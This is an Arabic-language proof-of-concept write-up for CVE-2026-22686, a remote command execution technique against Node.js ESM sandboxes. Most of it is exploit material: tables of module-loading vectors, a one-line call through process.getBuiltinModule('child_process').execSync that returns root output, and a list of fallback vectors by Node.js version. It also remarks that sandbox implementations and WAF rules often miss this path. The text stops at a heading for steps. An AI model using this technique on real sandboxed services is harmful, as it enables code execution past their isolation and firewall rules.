
إثبات مفهوم لاستغلال CVE-2026-22686، يوضح تنفيذ الأوامر عن بُعد في بيئات Node.js ESM المعزولة عبر process.getBuiltinModule لتجاوز قيود الوحدات.
| المتجه | النتيجة |
|---|
require('child_process') | ❌ require is not defined — غير متاح في ESM |
process.mainModule.require(...) | ❌ Cannot read properties of undefined — mainModule هو undefined في ESM |
import('child_process') | ❌ A dynamic import callback was not specified — يتطلب خطافًا غير مُهيأ في بيئة العزل |
process.binding('spawn_sync') | ⚠️ متاح لكنه منخفض المستوى — يتطلب بناء استدعاءات نظام يدويًا |
process ← process.getBuiltinModuleبدلاً من افتراض طريقة تحميل وحدات، نقوم بتعداد مفاتيح process مباشرةً
من سياق المضيف (يمكن الوصول إليه بالفعل بعد هروب بيئة العزل):
return Object.keys(process)
من بين المفاتيح التي تم إرجاعها، تم تحديد getBuiltinModule — وهي واجهة برمجة تطبيقات أصلية في Node.js 22+
مصممة خصيصًا للسماح لوحدات ESM بالوصول إلى وحدات Node.js المدمجة
بدون require أو import().
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root) ✅ تأكيد RCE
هذه هي النقطة الأساسية: process.getBuiltinModule هي واجهة برمجة تطبيقات جديدة نسبيًا
(Node.js >= 22.3.0) وغالبًا ما يتم تجاهلها من قبل تطبيقات بيئات العزل
وقواعد جدار الحماية (WAF) التي تحظر require و import.
اعتمادًا على البيئة المستهدفة، قد تكون متجهات أخرى متاحة بعد
تعداد process:
| المتجه | إصدار Node.js | ملاحظات |
|---|---|---|
process.getBuiltinModule('child_process') | >= 22.3.0 | ✅ الأنظف — واجهة برمجة تطبيقات رسمية آمنة لـ ESM |
process.binding('spawn_sync') | جميع الإصدارات | ⚠️ منخفض المستوى، يتطلب بناء مخازن مؤقتة يدويًا |
process.mainModule.require(...) | CJS فقط | ❌ غير معرّف في ESM |
__non_webpack_require__ | حزم Webpack | ⚠️ خاص بالبيئة |
Module.createRequire(import.meta.url) | >= 12.2.0 | ⚠️ يتطلب مرجع Module من المضيف |
process._linkedBinding('node_os') | الإصدارات الداخلية | ⚠️ نادرًا ما يكون مكشوفًا |
الخلاصة: قم دائمًا بتعداد
Object.keys(process)بعد تحقيق الوصول إلى سياق المضيف. يختلف سطح الهجوم المتاح بشكل كبير حسب إصدار Node.js وتكوين المشروع.getBuiltinModuleهو المتجه الأكثر موثوقية في بيئات ESM الحديثة في Node.js.
الخطوات:
